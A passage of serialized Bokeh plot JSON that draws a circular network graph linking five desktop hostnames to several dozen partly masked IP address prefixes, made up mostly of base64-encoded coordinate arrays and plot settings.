d57/f9WhM6MLnv8ZYn67M5+e/59x4tWkM6L/IY6vzvjDov4IUw/zLVOi/jJ8jZZB46L/SfwnCC5zov4U5i6k9v+i/NJaasiXi6L9P3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"T94FdcME6b8HFX+JHknpv0L20LZLjOm/sDzq2kfO6b9urfPhDw/qv6/WdMagTuq/zCJ4kfeM6r/pPa5aEcrqv9fMkEjrBeu/eHOEkIJA67/TKPp21Hnrv6rXj0/eseu/zkkwfZ3o67/SXDJyDx7sv3Z+d7AxUuy/rW+JyQGF7L+pTLdefbbsv3zYMSGi5uy/PAsn0m0V7b844dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OOHcQt5C7b8R5/KYE1ntv/Vpy1Txbu2/jmUhNXeE7b/ZFbb5pJntv9y2UWN6ru2/VkHEM/fC7b90JOYtG9ftv0H8mBXm6u2/M0XIr1f+7b94DGrCbxHuvy+dfxQuJO6/mSoWbpI27r8Rd0eYnEjuv+F3Ol1MWu6/F/YjiKFr7r//K0flm3zuv6hf9kE7je6/JHqTbH+d7r+Xm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"l5uQNGit7r85rHBq9bzuvwzqx98mzO6/Z3M8Z/za7r9kzobUdenuvwNtcvyS9+6/Gi7etFMF778q27zUtxLvv9KiFTS/H++/MZAErGks77/3/roWtzjvvzcMgE+nRO+/EASxMjpQ778LzMGdb1vvvyxKPW9HZu+/5cjFhsFw77+iVxXF3Xrvvy0o/guchO+/vehqPvyN77/JGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yRpfQP6W77819bnmW5vvv49m9/ahn++/Gf/mbdCj779c62lI56fvv3z2coPmq++/f4wGHM6v77+IvDoPnrPvvwE7N1pWt++/vGM1+va6778HPIDsf77vv610dC7xwe+/8muAvUrF7798LySXjMjvvy9+8bi2y++/AsqLIMnO77++OajLw9Hvv7KqDbim1O+/Y7KU43HX778hoCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"IaAnTCXa77+ZfsLvwNzvv1MVc8xE3++/KepY4LDh77+rQqUpBeTvv3klm6ZB5u+/j1uPVWbo77+Gceg0c+rvv8K4HkNo7O+/mEi8fkXu779m/1zmCvDvv5qDrni48e+/skRwNE7z778pfHMYzPTvv1gumyMy9u+/TivcVID377+UDz2rtvjvv+lE1iXV+e+/8ALSw9v677/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yk9shMr777+wAPNmofzvv3K6xWpg/e+/8vFVjwf+77+M7CbUlv7vv3XAzTgO/++/CVXxvG3/778QY0pgtf/vv/B0oyLl/++/1+bYA/3/77/X5tgD/f/vv/B0oyLl/++/EGNKYLX/778JVfG8bf/vv3XAzTgO/++/jOwm1Jb+77/y8VWPB/7vv3K6xWpg/e+/sADzZqH877/KT2yEyvvvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yk9shMr777/vAtLD2/rvv+lE1iXV+e+/kw89q7b4779NK9xUgPfvv1cumyMy9u+/KHxzGMz077+xRHA0TvPvv5mDrni48e+/Zf9c5grw77+XSLx+Re7vv8G4HkNo7O+/hXHoNHPq77+OW49VZujvv3glm6ZB5u+/qkKlKQXk778o6ljgsOHvv1IVc8xE3++/l37C78Dc778foCdMJdrvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"H6AnTCXa779hspTjcdfvv7CqDbim1O+/vDmoy8PR778Byosgyc7vvy5+8bi2y++/ei8kl4zI77/xa4C9SsXvv6x0dC7xwe+/BjyA7H++77+6YzX69rrvv/86N1pWt++/hrw6D56z779+jAYczq/vv3r2coPmq++/W+tpSOen778X/+Zt0KPvv41m9/ahn++/M/W55lub77/HGl9A/pbvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xxpfQP6W77/r4CgHiZLvv7voaj78je+/TmiK6VeJ778qKP4LnITvv7uATqnIf++/oFcVxd16778FHf5i23Xvv+PIxYbBcO+/N9g6NJBr778pSj1vR2bvvy2dvjvnYO+/CMzBnW9b77/aSluZ4FXvvw8EsTI6UO+/SVX6bXxK7780DIBPp0Tvv2BjnNu6Pu+/9P66Frc4779p6VgFnDLvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"aelYBZwy778wkASsaSzvv0jAXQ8gJu+/0aIVNL8f77+Bue4eRxnvvyfbvNS3Eu+/ADBlWhEM778ZLt60UwXvv5qVL+l+/u6/Am1y/JL37r9a/dDzj/Duv2POhtR16e6/n6Lgo0Ti7r9mczxn/Nruv+RsCSSd0+6/CurH3ybM7r9wcAmgmcTuvzescGr1vO6/x2uxRDq17r+Wm5A0aK3uvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lpuQNGit7r/XQeQ/f6XuvyJ6k2x/ne6/C3GWwGiV7r+nX/ZBO43uvxuHzfb2hO6//StH5Zt87r/CkZ8TKnTuvxX2I4iha+6/JYwySQJj7r/gdzpdTFruvy7Ju8p/Ue6/D3dHmJxI7r+2Wn/Moj/uv5oqFm6SNu6/dHXPg2st7r8unX8ULiTuv9nRCyfaGu6/dgxqwm8R7r/PCaHt7gfuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zwmh7e4H7r80RcivV/7tvzTzBxCq9O2/QvyYFebq7b9T98THC+Htv3Ik5i0b1+2/O2dnTxTN7b9YQcQz98Ltv+bMiOLDuO2/3bZRY3qu7b9UOcy9GqTtv9oVtvmkme2/mY/dHhmP7b+PZSE1d4Ttv7HMcES/ee2/9mnLVPFu7b9jTEFuDWTtvxLn8pgTWe2/CwsR3QNO7b854dxC3kLtvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OeHcQt5C7b865KfSojftvyza05RRLO2/as7Skeog7b89CyfSbRXtv48TY17bCe2/cpwpPzP+7L+6hi19dfLsv37YMSGi5uy/jLYJNLna7L/RXZi+us7sv8Yc0cmmwuy/q0y3Xn227L/bSl6GPqrsvwZy6Unqney/XROMsoCR7L+ub4nJAYXsv5CwNJhteOy/UOHwJ8Rr7L8E6DCCBV/svw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"BOgwggVf7L93fnewMVLsvxMrV7xIRey/uTlyr0o47L+QtHqTNyvsv9NcMnIPHuy/eqNqVdIQ7L/voQRHgAPsv6wS8VAZ9uu/1EkwfZ3o67+yLdLVDNvrv04v9mRnzeu/wELLNK2/67+s149P3rHrv5bRkb/6o+u/M4AujwKW67+ol9LI9Yfrv9Qo+nbUeeu/Y5kwpJ5r678CnBBbVF3rvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ApwQW1Rd679tKESm9U7rv35zhJCCQOu/LeeZJPsx6797GlxtXyPrv3DJsXWvFOu/3cyQSOsF678/Ev7wEvfqv4STDXom6Oq/w07i7iXZ6r/qPa5aEcrqv3hOssjouuq/9lg+RKyr6r+dGLHYW5zqv9MieJH3jOq/pd4Pen996r8wfAOe823qvxXs7AhUXuq/ttZ0xqBO6r+Vk1Li2T7qvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lZNS4tk+6r+TIExo/y7qvyEZNmQRH+q/dK3z4Q8P6r+cmXbt+v7pv60cv5LS7um/sO/b3Zbe6b+3POraR87pv8uVFZblvem/2+uXG3Ct6b+Thbl355zpv0n20LZLjOm/qRRD5Zx76b+J8YIP22rpv5nOEUIGWum/DhV/iR5J6b9BTGjyIzjpv1QQeYkWJ+m/owhrW/YV6b9W3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Vt4FdcME6b/YMh/jffPovzuWmrIl4ui/on1p8LrQ6L+MOYupPb/ovzzsDOutrei/2X8Jwguc6L+6nKk7V4rov5OfI2WQeOi/l4+7S7dm6L+JFMP8y1Tov+lsmYXOQui/z2Or874w6L8HR3NUnR7ov/HceLVpDOi/dVpRJCT657/OWJ+uzOfnv3zLEmJj1ee/6fVoTOjC578+YWx7W7Dnvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"PmFse1uw578U0vT8vJ3nvx8+594Mi+e/z8E1L0t457/jld/7d2Xnvw0F8VKTUue/V2GDQp0/57+v+bzYlSznv1YP0SN9Gee/R8v/MVMG57+QM5YRGPPmv7cg7tDL3+a/6TJufm7M5r9Qx4koALnmv0HtwN2Apea/blugrPCR5r8DZcGjT37mv9nuydGdaua/ZGRsRdtW5r/TrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"06xnDQhD5r8JIIc4JC/mv5J7otUvG+a/kded8yoH5r+em2mhFfPlv7RzAu7v3uW/4kRx6LnK5b8qIsufc7blvzZBMSMdouW/Fe/QgbaN5b/ahOPKP3nlv1xcrg25ZOW/rMSCWSJQ5b+99r29ezvlv+oJyUnFJuW/c+gYDf8R5b/wQy4XKf3kv9aJlXdD6OS/u9fmPU7T5L/I78V5Sb7kvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yO/FeUm+5L+3d/aQEZTkv7BRLDucaeS/RAgk9+k+5L8ZBlBE+xPkv4sZ16LQ6OO/PPaSk2q9479JtA6YyZHjv89NhTLuZeO/Axrg5dg5479+RrU1ig3jv41ORqYC4eK/QnB+vEK04r/CH/H9Sofiv6R42PAbWuK/GK0THLYs4r+GcyUHGv/hv+NxMjpI0eG/Xqf/PUGj4b841PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ONTwmwV14b9aF9E31F3hv4LfBt6VRuG/E5Tqn0ov4b8+O96O8hfhvyVtTbyNAOG/tkatORzp4L+7XHwYntHgv8iuQmoTuuC/JZqRQHyi4L+pzAOt2Irgv7c3PcEoc+C/5gLrjmxb4L/tfsMnpEPgv2cYhp3PK+C/kkr7Ae8T4L8FJOnNBPjfv+i+mLwTyN+/nRTM8wqY37/MhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zIZbl+pn378qDzHLsjffv6skSLNjB9+/raCtc/3W3r/6o38wgKbevxZ87Q3sdd6/4Ic3MEFF3r/IHK+7fxTev51rttSn492/bGXAn7my3b87oFBBtYHdvwk8+92aUN2/Isdkmmof3b8LI0KbJO7cvwhpWAXJvNy/rc58/VeL3L9VipSo0Vncv9O3lCs2KNy/hTyCq4X227/wq3FNwMTbvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"8KtxTcDE278DLIc25pLbv2RZ9ov3YNu/qSsCc/Qu27982fwQ3fzav/28R4uxytq/hTdTB3KY2r/vlZ6qHmbav470t5q3M9q/KCM8/TwB2r/WiNb3rs7Zvx8IQbANnNm/fuJDTFlp2b9lnLXxkTbZv/ngesa3A9m/w2WG8MrQ2L9WztiVy53YvyuQgNy5ati/49WZ6pU32L8SY07mXwTYvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"EmNO5l8E2L+1d9X1F9HXv6yzcz++nde/L/p66VJq178jVUoa1jbXv7bYTfhHA9e/Vob+qajP1r87MOJV+JvWv5VciyI3aNa/xyiZNmU01r+CLLe4ggDWvyhdnc+PzNW/jfAPooyY1b9DQN9WeWTVv5is5xRWMNW/k38RAyP81L/cz1BI4MfUv+ljpQuOk9S/iJQadCxf1L/3L8eouyrUvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9y/HqLsq1L+sXM3QO/bTvx98WhOtwdO/kA2nlw+N07+ukPaEY1jTv49olwKpI9O/973iN+Du0r9AYjxMCbrSv+CxEmckhdK//XberzFQ0r/syyJOMRvSv+/9bGkj5tG/WG9UKQix0b83enq133vRv7tSijWqRtG/l+k40WcR0b9OzkSwGNzQv88Rdvq8ptC/YSie11Rx0L8uzJdv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"LsyXb+A70L9430bqXwbQv5mdMN+moc+/heYDT3Y2z78n6QR0LsvOvwRXQp7PX86/PQfcHVr0zb89uwJDzojNv8ji910sHc2/EWANv3SxzL+sS6W2p0XMvxS5MZXF2cu/33k0q85ty78w4j5JwwHLv26M8b+jlcq/JR38X3Apyr+lBh16Kb3Jv0ZNIV/PUMm/XkrkX2LkyL9lcE/N4nfIvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ZXBPzeJ3yL94Dlr4UAvIv+wTCTKtnse/19Nuy/cxx79yyKoVMcXGvw9X6WFZWMa/xJJjAXHrxb9SAF9FeH7Fv1xZLX9vEcW/uU8sAFekxL+cUMUZLzfEv1NIbR34ycO/vGSkXLJcw7/32PUoXu/Cv2yg99P7gcK/4kFKr4sUwr9/kpgMDqfBv055lz2DOcG/jLEFlOvLwL8ljqthR17Avw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"JY6rYUdewL8UebXwLeG/v1EP3FO1Bb+/nzWSkCUqvr/tiLBKf069vzRzICbDcry/pK/bxvGWu79N0evQC7u6v27IaegR37m/BWh9sQQDub8L61zQ5Ca4v+96TOmySre/erOdoG9utr83Ka+aG5K1v4Tu63u3tbS/4xjL6EPZs78ARs+Fwfyyv+khhvcwILK/x+qH4pJDsb8F93br52awvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Bfd26+dmsL94dP5tYRSvv4+Uq9PbWq2/xchwUUChq7/s49kwkOepv0MdgrvMLai/gxcTO/dzpr/c7EP5ELqkv2U42D8bAKO/DCCfWBdGob/pu+QaDRifv6OYalDUo5u/dNin5YYvmL/r4oNuJ7uUv3+X8364RpG/M8LuVXmki78bkTINbbuEvy4wrJeipHu/dGQh6Kyka7/ARTFjYhr1vA==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]}],\\\"group\\\":[1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2],\\\"index\\\":{\\\"__ndarray__\\\":\\\"AAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAA\\\",\\\"dtype\\\":\\\"int32\\\",\\\"shape\\\":[39]},\\\"index_hover\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"index_str__\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"name\\\":[\\\"desktop-86k4hcq\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-4mah00a\\\",\\\"desktop-0qf81kv\\\",\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"2.18.*.*\\\",\\\"8.250.*.*\\\",\\\"8.249.*.*\\\",\\\"205.185.*.*\\\",\\\"88.221.*.*\\\",\\\"104.18.*.*\\\",\\\"23.9.*.*\\\",\\\"104.81.*.*\\\",\\\"40.112.*.*\\\",\\\"172.226.*.*\\\",\\\"23.54.*.*\\\",\\\"8.252.*.*\\\",\\\"67.26.*.*\\\",\\\"204.79.*.*\\\",\\\"23.206.*.*\\\",\\\"118.215.*.*\\\",\\\"23.62.*.*\\\",\\\"98.137.*.*\\\",\\\"91.199.*.*\\\",\\\"23.35.*.*\\\",\\\"40.77.*.*\\\",\\\"151.101.*.*\\\",\\\"23.50.*.*\\\",\\\"184.25.*.*\\\",\\\"23.215.*.*\\\",\\\"8.253.*.*\\\",\\\"72.21.*.*\\\",\\\"23.195.*.*\\\",\\\"67.27.*.*\\\",\\\"95.100.*.*\\\",\\\"72.246.*.*\\\",\\\"81.218.*.*\\\"]},\\\"selected\\\":{\\\"id\\\":\\\"1128\\\",\\\"type\\\":\\\"Selection\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1127\\\",\\\"type\\\":\\\"UnionRenderers\\\"}},\\\"id\\\":\\\"1078\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},{\\\"attributes\\\":{\\\"fill_color\\\":{\\\"field\\\":\\\"index_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":15}},\\\"id\\\":\\\"1093\\\",\\\"type\\\":\\\"Circle\\\"},{\\\"attributes\\\":{\\\"axis_label\\\":\\\"y\\\",\\\"bounds\\\":\\\"auto\\\",\\\"formatter\\\":{\\\"id\\\":\\\"1121\\\",\\\"type\\\":\\\"BasicTickFormatter\\\"},\\\"major_label_orientation\\\":\\\"horizontal\\\",\\\"plot\\\":{\\\"id\\\":\\\"1040\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1054\\\",\\\"type\\\":\\\"BasicTicker\\\"},\\\"visible\\\":false},\\\"id\\\":\\\"1053\\\",\\\"type\\\":\\\"LinearAxis\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1119\\\",\\\"type\\\":\\\"BasicTickFormatter\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1059\\\",\\\"type\\\":\\\"PanTool\\\"},{\\\"attributes\\\":{\\\"source\\\":{\\\"id\\\":\\\"1076\\\",\\\"type\\\":\\\"ColumnDataSource\\\"}},\\\"id\\\":\\\"1098\\\",\\\"type\\\":\\\"CDSView\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1127\\\",\\\"type\\\":\\\"UnionRenderers\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1132\\\",\\\"type\\\":\\\"UnionRenderers\\\"},{\\\"attributes\\\":{\\\"active_drag\\\":\\\"auto\\\",\\\"active_inspect\\\":\\\"auto\\\",\\\"active_multi\\\":null,\\\"active_scroll\\\":\\\"auto\\\",\\\"active_tap\\\":\\\"auto\\\",\\\"tools\\\":[{\\\"id\\\":\\\"1038\\\",\\\"type\\\":\\\"HoverTool\\\"},{\\\"id\\\":\\\"1058\\\",\\\"type\\\":\\\"SaveTool\\\"},{\\\"id\\\":\\\"1059\\\",\\\"type\\\":\\\"PanTool\\\"},{\\\"id\\\":\\\"1060\\\",\\\"type\\\":\\\"WheelZoomTool\\\"},{\\\"id\\\":\\\"1061\\\",\\\"type\\\":\\\"BoxZoomTool\\\"},{\\\"id\\\":\\\"1062\\\",\\\"type\\\":\\\"ResetTool\\\"},{\\\"id\\\":\\\"1063\\\",\\\"type\\\":\\\"TapTool\\\"}]},\\\"id\\\":\\\"1064\\\",\\\"type\\\":\\\"Toolbar\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"renderers\\\":[{\\\"id\\\":\\\"1084\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"id\\\":\\\"1090\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"id\\\":\\\"1105\\\",\\\"type\\\":\\\"GraphRenderer\\\"}],\\\"tooltips\\\":[[\\\"index\\\",\\\"@{index_hover}\\\"],[\\\"group\\\",\\\"@{group}\\\"],[\\\"name\\\",\\\"@{name}\\\"]]},\\\"id\\\":\\\"1038\\\",\\\"type\\\":\\\"HoverTool\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1130\\\",\\\"type\\\":\\\"Selection\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"data\\\":{\\\"angle\\\":{\\\"__ndarray__\\\":\\\"W9OgDq2euD9b06AOrZ7YP60ScLIlDvY/p/EmqFo1AkCuEnCyJQ4GQJ95/cheGwjArRJwsiUOBsBUslcE4sUEwNv+EHlFvwPAg574ygF3AsBMkQ76Fu0AwDEISVJYxv6/OaG7Ox+5/L8FlNFqNC/7v43git+XKPq/FS1EVPsh+b+def3IXhv4vyXGtj3CFPe/rRJwsiUO9r81XykniQf1v72r4pvsAPS/RfibEFD68r/NRFWFs/Pxv1WRDvoW7fC/u7uP3fTM77/KVALHu7/tv9rtdLCCsuu/6obnmUml6b/6H1qDEJjnv5MFhuE6hOS/IuuxP2Vw4b9kCElSWMbev4Q6LiXmq9q/pGwT+HOR1r/FnvjKAXfSv8mhuzsfucy/CAaG4TqExL+S1KAOrZ64vyU6a7TIaaC/\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[39]},\\\"text\\\":[\\\"desktop-86k4hcq\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-4mah00a\\\",\\\"desktop-0qf81kv\\\",\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"2.18.*.*\\\",\\\"8.250.*.*\\\",\\\"8.249.*.*\\\",\\\"205.185.*.*\\\",\\\"88.221.*.*\\\",\\\"104.18.*.*\\\",\\\"23.9.*.*\\\",\\\"104.81.*.*\\\",\\\"40.112.*.*\\\",\\\"172.226.*.*\\\",\\\"23.54.*.*\\\",\\\"8.252.*.*\\\",\\\"67.26.*.*\\\",\\\"204.79.*.*\\\",\\\"23.206.*.*\\\",\\\"118.215.*.*\\\",\\\"23.62.*.*\\\",\\\"98.137.*.*\\\",\\\"91.199.*.*\\\",\\\"23.35.*.*\\\",\\\"40.77.*.*\\\",\\\"151.101.*.*\\\",\\\"23.50.*.*\\\",\\\"184.25.*.*\\\",\\\"23.215.*.*\\\",\\\"8.253.*.*\\\",\\\"72.21.*.*\\\",\\\"23.195.*.*\\\",\\\"67.27.*.*\\\",\\\"95.100.*.*\\\",\\\"72.246.*.*\\\",\\\"81.218.*.*\\\"],\\\"x\\\":{\\\"__ndarray__\\\":\\\"d5phLu248D/WjxuZ9yTvP9ebxooUsck/fwhDJs3H5b/YjxuZ9yTvvxYF2ZB9qfC/1o8bmfck77+TcNGSmLvsvzP2Em4AReq/hpmyA92W5r/gEnhpAWvhv+F5p1RiNde/9Ptb7iTozb+ph1rzyi/Bv2IbcOrZOLG/xPuvKJSmyjzMG3Dq2TixP96HWvPKL8E/1pvGihSxyT/oYl+oqwvRP+O+aqTeLNU/jrQ4GMs32T9F9FBRMCjdP6SmqcL0fOA/6BHwFnlU4j8r3EchtRjkP28IQybNx+U/vdusp/tf5z/JMphBk9/oP6ofKn1w7eo/iHDRkpi77D9ZwBkvLMrtP9RSzl9pue4/prCCeVSI7z/chGXoCRvwP4Z6m0/4YPA/pofL4auV8D91mmEu7bjwP3xDHx+XyvA/\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[39]},\\\"y\\\":{\\\"__ndarray__\\\":\\\"A7i7/5zPuT+ctDgYyzfZP02M5Fd9ffA/wOxpT6eV6T+TtDgYyzfZP+GHWvPKL8G/n7Q4GMs32b/tEnhpAWvhv1JTeYcC8+S/3TKYQZPf6L+acNGSmLvsv7KwgnlUiO+/jHqbT/hg8L8XBdmQfanwv03z5Kr2w/C/zczMzMzM8L9M8+Sq9sPwvxYF2ZB9qfC/TYzkV3198L8HVodJJEDwvyyFqN1l4++/2Y8bmfck778VIa8YxkXuvxYQsSa8Ru2/jFl4DeYo7L/GHyp9cO3qv83saU+nlem/nPVBKvQi6L+dmbID3Zbmv1DcRyG1GOS//hJ4aQFr4b8xAM6CIxXfv31xbZ2RM9u/IXqnVGI117/eA1f0yB7Tv7v8W+4k6M2/9QoMAUJzxb9Iubv/nM+5v7ARqBoeO6G/\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[39]}},\\\"selected\\\":{\\\"id\\\":\\\"1130\\\",\\\"type\\\":\\\"Selection\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1129\\\",\\\"type\\\":\\\"UnionRenderers\\\"}},\\\"id\\\":\\\"1086\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1058\\\",\\\"type\\\":\\\"SaveTool\\\"},{\\\"attributes\\\":{\\\"grid_line_color\\\":{\\\"value\\\":null},\\\"plot\\\":{\\\"id\\\":\\\"1040\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1049\\\",\\\"type\\\":\\\"BasicTicker\\\"}},\\\"id\\\":\\\"1052\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"end\\\":1.4,\\\"reset_end\\\":1.4,\\\"reset_start\\\":-1.4,\\\"start\\\":-1.4},\\\"id\\\":\\\"1037\\\",\\\"type\\\":\\\"Range1d\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1129\\\",\\\"type\\\":\\\"UnionRenderers\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1116\\\",\\\"type\\\":\\\"NodesAndLinkedEdges\\\"},{\\\"attributes\\\":{\\\"factors\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"palette\\\":[\\\"#1f77b4\\\",\\\"#aec7e8\\\",\\\"#ff7f0e\\\",\\\"#ffbb78\\\",\\\"#2ca02c\\\",\\\"#98df8a\\\",\\\"#d62728\\\",\\\"#ff9896\\\",\\\"#9467bd\\\",\\\"#c5b0d5\\\",\\\"#8c564b\\\",\\\"#c49c94\\\",\\\"#e377c2\\\",\\\"#f7b6d2\\\",\\\"#7f7f7f\\\",\\\"#c7c7c7\\\",\\\"#bcbd22\\\",\\\"#dbdb8d\\\",\\\"#17becf\\\",\\\"#9edae5\\\",\\\"#1f77b4\\\",\\\"#aec7e8\\\",\\\"#ff7f0e\\\",\\\"#ffbb78\\\",\\\"#2ca02c\\\",\\\"#98df8a\\\",\\\"#d62728\\\",\\\"#ff9896\\\",\\\"#9467bd\\\",\\\"#c5b0d5\\\",\\\"#8c564b\\\",\\\"#c49c94\\\",\\\"#e377c2\\\",\\\"#f7b6d2\\\",\\\"#7f7f7f\\\",\\\"#c7c7c7\\\",\\\"#bcbd22\\\",\\\"#dbdb8d\\\",\\\"#17becf\\\"]},\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"},{\\\"attributes\\\":{\\\"data_source\\\":{\\\"id\\\":\\\"1076\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},\\\"glyph\\\":{\\\"id\\\":\\\"1093\\\",\\\"type\\\":\\\"Cir